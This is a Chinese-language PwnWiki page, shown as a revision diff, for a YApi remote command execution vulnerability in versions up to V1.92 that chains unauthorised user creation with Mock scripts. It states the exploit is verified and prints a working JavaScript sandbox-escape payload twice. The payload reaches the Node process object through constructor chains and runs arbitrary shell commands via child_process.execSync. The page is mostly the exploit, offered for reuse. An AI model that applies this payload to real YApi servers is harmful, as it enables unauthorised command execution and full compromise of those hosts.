Difference between revisions of "YApi 未授權用戶創建&Mock遠程命令執行漏洞"
From PwnWiki
(Marked this version for translation) |
|||
| (One intermediate revision by one other user not shown) | |||
| Line 18: | Line 18: | ||
</translate> | </translate> | ||
| − | + | ||
| − | |||
| − | |||
<translate> | <translate> | ||
<!--T:6--> | <!--T:6--> | ||
| Line 56: | Line 54: | ||
const myfun = FunctionConstructor('return process') | const myfun = FunctionConstructor('return process') | ||
const process = myfun() | const process = myfun() | ||
| − | + | mockJson = process.mainModule.require("child_process").execSync("command").toString() | |
</pre> | </pre> | ||
Latest revision as of 23:46, 8 July 2021
| 該漏洞已通過驗證
本頁面的EXP/POC/Payload經測試可用,漏洞已經成功復現。 |
影響版本
<=V1.92 All
POC
const sandbox = this
const ObjectConstructor = this.constructor
const FunctionConstructor = ObjectConstructor.constructor
const myfun = FunctionConstructor('return process')
const process = myfun()
mockJson = process.mainModule.require("child_process").execSync("command").toString()